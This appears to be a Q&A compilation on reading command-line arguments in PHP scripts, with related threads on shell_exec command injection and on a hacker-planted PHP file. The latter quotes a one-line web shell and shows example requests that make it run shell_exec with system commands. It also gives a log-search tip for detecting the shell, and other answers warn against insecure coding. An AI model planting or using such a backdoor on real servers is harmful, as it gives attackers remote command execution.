PHP, pass parameters from command line to a PHP script - php

I want to pass parameters from PHP Command Line Interface, and then read in the values using PHP script, something like this:
<?php
$name1 = $argv[1];
echo $name1;
?>
I pass the variable from CLI like this:
C:\xampp\php\php.exe name.php Robby
The above works, I get Robby as the output.
But I want to do something like this:
C:\xampp\php\php.exe name.php -inputFirstName="Robby"
So that the user is well informed to enter the correct parameters in the correct places. What is the appropriate way to parse these parameters?

When calling a PHP script from the command line you can use $argc to find out how many parameters are passed and $argv to access them. For example running the following script:
<?php
var_dump($argc); //number of arguments passed
var_dump($argv); //the arguments passed
?>
Like this:-
php script.php arg1 arg2 arg3
Will give the following output
int(4)
array(4) {
[0]=>
string(21) "d:\Scripts\script.php"
[1]=>
string(4) "arg1"
[2]=>
string(4) "arg2"
[3]=>
string(4) "arg3"
}
See $argv and $argc for further details.
To do what you want, lets say
php script.php arg1=4
You would need to explode the argument on the equals sign:-
list($key, $val) = explode('=', $argv[1]);
var_dump(array($key=>$val));
That way you can have whatever you want in front of the equals sign without having to parse it, just check the key=>value pairs are correct. However, that is all a bit of a waste, just instruct the user on the correct order to pass the arguments.

I use this fairly concise method:
if($argc>1)
parse_str(implode('&',array_slice($argv, 1)), $_GET);
Which would handle a call such as:
php script.php item1=4 item2=300
By sending it into $_GET you automatically handle web or CLI access.
For commentary, this is doing the following:
If the count of arguments is greater than one (as first item is the name of the script) the proceed
Grab the arguments array excluding first item
Turn it into a standard query string format with ampersands
use parse_str to extract to the $_GET array

While the answer is correct and you could do the parsing by hand, PHP also offers the getopt() function that might actually provide useful here.
There's also object-oriented alternatives (written in PHP, available in a number of libraries) that might turn out to be what you need. Googling for "php getopt" will yield helpful results.

you can send parameters as one argument then parse that argument like a $_GET array
C:\xampp\php\php.exe name.php "inputFirstName=Robby&LastName=John"
and in your PHP file
if (!empty($argv[1])) {
parse_str($argv[1], $_GET);
}
you'll get arguments in $_GET array like usual

The getopt() function is probably the most correct answer in the case of the question. Especially since it was made platform independent with PHP 5.3. In the particular case of this question and parsing multiple parameters, one way to leverage this function would be as follows:
$defaultValues = array("inputFirstName" => "");
$givenArguments = getopt("", array("inputFirstName:"));
$options = array_merge($defaultValues, $givenArguments);
$inputFirstName = $options['inputFirstName'];
The call to set $inputFirstName with the value "Robby" would be:
> php script.php --inputFirstName="Robby"
Explanation
Default values for all expected parameters are set in the $defaultValues array. Input sent through via command line arguments are collected by PHP's getopt function and stored by the $givenArguments. Note that the colon (:) at the end of the "inputFirstName:" string indicates that this is a required argument. Without a colon here, only the presence of the argument would be detected, not the actual value (more information in the PHP Manual). Merging these two arrays together on the third line results in array with all expected parameters being set with either default values or arguments provided from the command line/terminal if they are available.

I don't know if at the time this question has being asked what i going to answer to it was available but if you call php-cgi -f myfile.php var=something you can retrieved whit $var=$_GET['var']; from the command line then you don't have to change your code to call it from the web browser or the command line

If you don't mind using a library, I suggest you take a look at The Console Component by Symfony.
It can be used to create command line applications and supports the use of Arguments & Options.
The documentation page contains a couple of excellent examples to get you started.
Of course under the hood it uses the same techniques as explained by vascowhite.

your best hope is to use
exec("php -f php.file.php example=js.json > ech0");
echo file_get_contents("ech0");
unlink("ech0");
That's what I use in PipesJS

You can parse the user input on your program looking for specific strings such as -inputFirstName="x" (using regular expressions, for example) and then set the correct variable to x.

Related

Passing variable from PHP to perl is only reading first word

I am trying to pass a string from PHP into a Perl script, uppercase each word, and then pass the uppercase string back to PHP where I echo it out. I know I can do that in PHP, but there are other reasons why I will need to pass the string between PHP and Perl.
If the variable $user_input is "first second third" I want the echo statement in the PHP program to echo "FIRST SECOND THIRD", but right now it is only echoing "FIRST".
How do I get my Perl script to read in and uppercase each word, not just the first one? (The variable user_input is not necessarily fixed at a length of three words, it could be more or fewer.)
Here is the relevant PHP:
$result = shell_exec('/usr/bin/perl /var/www/my_site/myperl.pl ' . $user_input);
$user_input = $result;
echo $user_input;
And this is my Perl program (myperl.pl):
#!/usr/bin/perl
use warnings;
my $var1 = shift;
foreach $var ($var1){
print uc $var ;
}
I've tried changing several things in the Perl code (using #var1 for example) but can't seem to get it to work. Thanks in advance for any help you can provide.
Do not use shell_exec() with unescaped input. This function is really easy to use in an unsafe manner, and can lead to command injection security vulnerabilities. Here, you have run into issues around your lack of escaping. Slightly simplifying things, you are trying to execute the following command:
# shell_exec('/usr/bin/perl /var/www/my_site/myperl.pl ' . $user_input)
/usr/bin/perl /var/www/my_site/myperl.pl first second third
Since the variable contents are just pasted into the command line, it is split at spaces and passed to the command as separate arguments.
The safest approach is to bypass shell expansion and executing the intended program directly. Unfortunately, core PHP does not provide convenient functions for this task.
If you want to continue using the convenient shell_exec() function, you MUST escape the variable before constructing the shell command. For example:
shell_exec('/usr/bin/perl /var/www/my_site/myperl.pl ' . escapeshellarg($user_input))
This would lead to the following shell command being executed (note the single quotes around the argument):
/usr/bin/perl /var/www/my_site/myperl.pl 'first second third'
After that, your Perl code should work as expected.
Arguments passed to a Perl program are available in the builtin global #ARGV array.
The shift function takes an array name as an argument, and removes the first element from that array and returns it. When used without an argument it operates on #ARGV, or if in a subroutine on #_ array which holds arguments passed to the subroutine.
So the code you show takes the first argument passed to the program and works with it.† Then, the shown foreach loop goes over just that one scalar (single-valued) variable.
Instead, you want to extract or copy the whole #ARGV and then to iterate over that array ‡
use warnings;
use strict;
use feature qw(say);
my #args = #ARGV;
foreach my $arg (#args) {
say uc $arg; # with a new line
# print uc $arg; # no newline, all come out "stuck" together
}
Now you can process those (instead of just uc-ing them), what I presume is intended.
If you indeed wanted to merely print out upper-cased input then
say uc for #ARGV; # each on a line on its own
# print uc for #ARGV; # no newline between them
suffices. (The uc takes $_ by default.)
† If the PHP program passes one string to the Perl program, not expanded (broken into) words by a shell or some such, then your Perl code should work as it stands. But the code shown here works in that case as well, and it will always process all arguments.
‡ Or of course one can work with the #ARGV directly
foreach my $arg (#ARGV) { ... }
I copy it in the text to preserve it because normally it is parsed separately by libraries.

PHP Class for parsing shell variables or alternative $GLOBALS like var for bash

I found some questions about processing an ini/bash file.
For example: Best/easiest way to parse configuration parameters in Sh/Bash and php
However they doesn't take in account other kind of assignments like:
arrays:
stuff=( "foo" "bar" "donald duck" "mickey mouse" )
variables calling another variable:
foobar = "bartender"
foo = "$foobar give me a beer!"
possible other things I'm not figuring them atm
Instead of parsing the variables in php side i was thinking instead of using a shell script processing an input config.sh file and prepare a vars.php files already written in php language.
So an array like the one above will be converted in $stuff = array ("foo", "bar", "donald duck", "mickey mouse" ) and the other variables like $foo = "bartender give me a beer!"
But how is possible export via bash the variables definied into a shell script in an efficient way ? Has bash something like php $GLOBALS in order to cycle throught the definied vars ?
I think also an intelligent bash script "sh variables to json" could work, so that the json could be parsed in php after :)
To be more clear, I'm writing a set of scripts that are based on a config.sh file. But, i have a slight amount of php scripts also that need the same configuration, that's why I tought would have been easier prepend all my php script with a parse of the config.sh file so I can use the same vars I have in bash also in php.
While some parser of ini/bash definition exists they are mere literal parser without taking in account variables inside other variables and arrays.

Found codes left by hacker but don't understand what it does

I found a line of script left by the hacker in one of my PHP files. And it reads like this:
<?php
($_=#$_GET[2]).#$_($_POST[1]);
?>
Can anyone please give some hints about what this line of code does? Thank you
I already posted it as a comment since the question was on hold, here now as an answer:
It's a PHP shell. If you rewrite it to <?php ($_=#$_GET[2]).#$_($_GET[1]); ?> the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
As Reeno already said in a comment, it's like a PHP shell.
Explanation
Store the GET variable with the key '2' in a variable called $_. Due to PHP's nature of weak typing, we do not need quotes around the number.
$_=#$_GET[2]
Treat $_ as a callable function name and execute it with $_POST[1] as the first argument.
#$_($_POST[1])
The # operators should suppress error logging, see PHP.net: Error Control Operators.
The concatenation operator between the two statements does actually nothing important. It could be rewritten like this:
$_=#$_GET[2];
#$_($_POST[1]);
Use case
Calling arbitrary functions. I won't mention the specific HTTP headers for a successful attack, but this should be fairly easy for every (web) programmer.
First of all, you must remove those lines as soon as possible.
This code is used to call PHP functions. To give you an example, your hacker will use this kind of form :
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
You'll then get this values :
$_ = $_GET[2] = shell_exec
$_POST[1] = ipconfig -all
$_($_POST[1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")
# are here to disable errors.
A simpler example would be to use this code :
<?= #$_GET['c'](#$_GET['p']); ?>
With a simple call to http://site.com/page.php?c=shell_exec&p=ipconfig%20-all .

Calling perl from php?

I have a php script that handles a form input. For design reasons both a bit out of my control, and which I do not entirely wish to change, I have to call a perl script with the parameters specified in the html form.
I sanitized all inputs and then output them to a file called input, which is read by the perl script named, for sake of brevity in this question, script.pl. Script.pl should do some stuff and then write all outputs to a file named output.
I call the perl script from php like so:
system('perl script.pl 2>errors');
No good, nothing happens. output is not created, errors is not created, and the side effect does not occur.
My apache runs as www-data user and group id. My directory is set with 775 settings with ownership as me:www-data. (My user name is replaced with "me" for sakes for privacy).
My question is two fold:
1) Am I doing this wrong? If so how should I improve upon the code?
2) Is there a more sane way to catch errors in system execution?
After programming in perl for a while, php feels like a pain in the ass.
OS: Ubuntu server edition
popen can be used to get the shell's response. that is your best bet. Which can help you debug why system is angry. also, if your pl is saying "hello" and "bye", popen can even read that.
If the command to be executed could not be found, a valid resource is returned. This may seem odd, but makes sense; it allows you to access any error message returned by the shell
Ideally, I would have taken data from stdin and written to stdout. popen would allow neat access to both.
popen('pwd;perl script.pl 2>errors;echo done');
then you can see where were you (directory) when system got called and did it "done".
In the past I have used shell_exec() or backticks to accomplish this.
The documentation for shell_exec's return value indicates it is identical to the backtick operator:
Return Values
The output from the executed command.
Hope that helps.
system() only returns the status code.
$var = shell_exec ("ls");
print $var;
$var = `ls -l`;
print $var;
Is perl in the path? Maybe you need to specify it fully (e.g. /usr/bin/perl). Is system() returning false, indicating a failure? If you try something simpler, like system('/usr/bin/true', $retval), does $retval get set to 1?
Take a look at the PHP system() documentation. The following is the function prototype of system():
string system ( string $command [, int &$return_var ] )
Pass in a 2nd argument and then print out the return string as well as the second variable. See what the error says.

PHP - command line arguments in Windows

I'm trying to run PHP from the command line under Windows XP.
That works, except for the fact that I am not able to provide parameters to my PHP script.
My test case:
echo "param = " . $param . "\n";
var_dump($argv);
I want to call this as:
php.exe -f test.php -- param=test
But I never get the script to accept my parameter.
The result I get from the above script:
PHP Notice: Undefined variable: param in C:\test.php on line 2
param = ''
array(2) {
[0]=> string(8) "test.php"
[1]=> string(10) "param=test"
}
I am trying this using PHP 5.2.6. Is this a bug in PHP 5?
The parameter passing is handled in the online help:
Note: If you need to pass arguments to your scripts you need to pass -- as the first argument when using the -f switch.
This seemed to be working under PHP 4, but not under PHP 5.
Under PHP 4 I could use the same script that could run on the server without alteration on the command line. This is handy for local debugging, for example, saving the output in a file, to be studied.
Why do you have any expectation that param will be set to the value?
You're responsible for parsing the command line in the fashion you desire, from the $argv array.
You can use the getopt() function.
Check blog post PHP CLI script and Command line arguments.
The parameter passing is handled in the online help Note: If you need to pass arguments to your scripts you need to pass -- as the first argument when using the -f switch. This seemed to be working under PHP 4, but not under PHP 5.
But PHP still doesn't parse those arguments. It just passes them to the script in the $argv array.
The only reason for the -- is so that PHP can tell which arguments are meant for the PHP executable and which arguments are meant for your script.
That lets you do things like this:
php -e -n -f myScript.php -- -f -n -e
(The -f, -n, and -e options after the -- are passed to file myScript.php. The ones before are passed to PHP itself).
If you want to pass the parameters similar to GET variables, then you can use the parse_str() function. Something similar to this:
<?php
parse_str($argv[1]);
?>
Would produce a variable, $test, with a value of <myValue>.
PHP does not parameterize your command line parameters for you. See the output where your second entry in ARGV is "param=test".
You most likely want to use the PEAR package Console_CommandLine: "A full featured command line options and arguments parser".
Or you can be masochistic and add code to go through your ARGV and set the parameters yourself. Here's a very simplistic snippet to get you started (this won't work if the first part isn't a valid variable name or there is more than 1 '=' in an ARGV part:
foreach($argv as $v) {
if(false !== strpos($v, '=')) {
$parts = explode('=', $v);
${$parts[0]} = $parts[1];
}
}
Command-line example:
php myserver.php host=192.168.1.4 port=9000
In file myserver.php, use the following lines:
<?php
parse_str(implode('&', array_slice($argv, 1)), $_GET);
// Read arguments
if (array_key_exists('host', $_GET))
{
$host = $_GET['host'];
}
if (array_key_exists('port', $_GET))
{
$port = $_GET['port'];
}
?>
$argv is an array containing all your commandline parameters... You need to parse that array and set $param yourself.
$tmp = $argv[1]; // $tmp="param=test"
$tmp = explode("=", $tmp); // $tmp=Array( 0 => param, 1 => test)
$param = $tmp[1]; // $param = "test";
You can do something like:
if($argc > 1){
if($argv[1] == 'param=test'){
$param = 'test';
}
}
Of course, you can get much more complicated than that as needed.
If you like living on the cutting edge, PHP 5.3 has the getOpt() command which will take care of all this messy business for you. Somewhat.
You could use something like
if (isset($argv[1]) {
$arg1 = $argv[1];
$arg1 = explode("=", $arg1);
$param = $arg1[1];
}
(How to handle the lack of parameters is up to you.)
Or if you need a more complex scenario, look into a command-line parser library, such as the one from Pear.
Using the ${$parts[0]} = $parts[1]; posted in another solution lets you override any variable in your code, which doesn’t really sound safe.
You can use the $argv array. Like this:
<?php
echo $argv[1];
?>
Remember that the first member of the $argv array (which is $argv[0]) is the name of the script itself, so in order to use the parameters for the application, you should start using members of the $argv[] from the '1'th index.
When calling the application, use this syntax:
php myscript.php -- myValue
There isn't any need to put a name for the parameter. As you saw, what you called the var_dump() on the $argv[], the second member (which is the first parameter) was the string PARAM=TEST. Right? So there isn't any need to put a name for the param. Just enter the param value.

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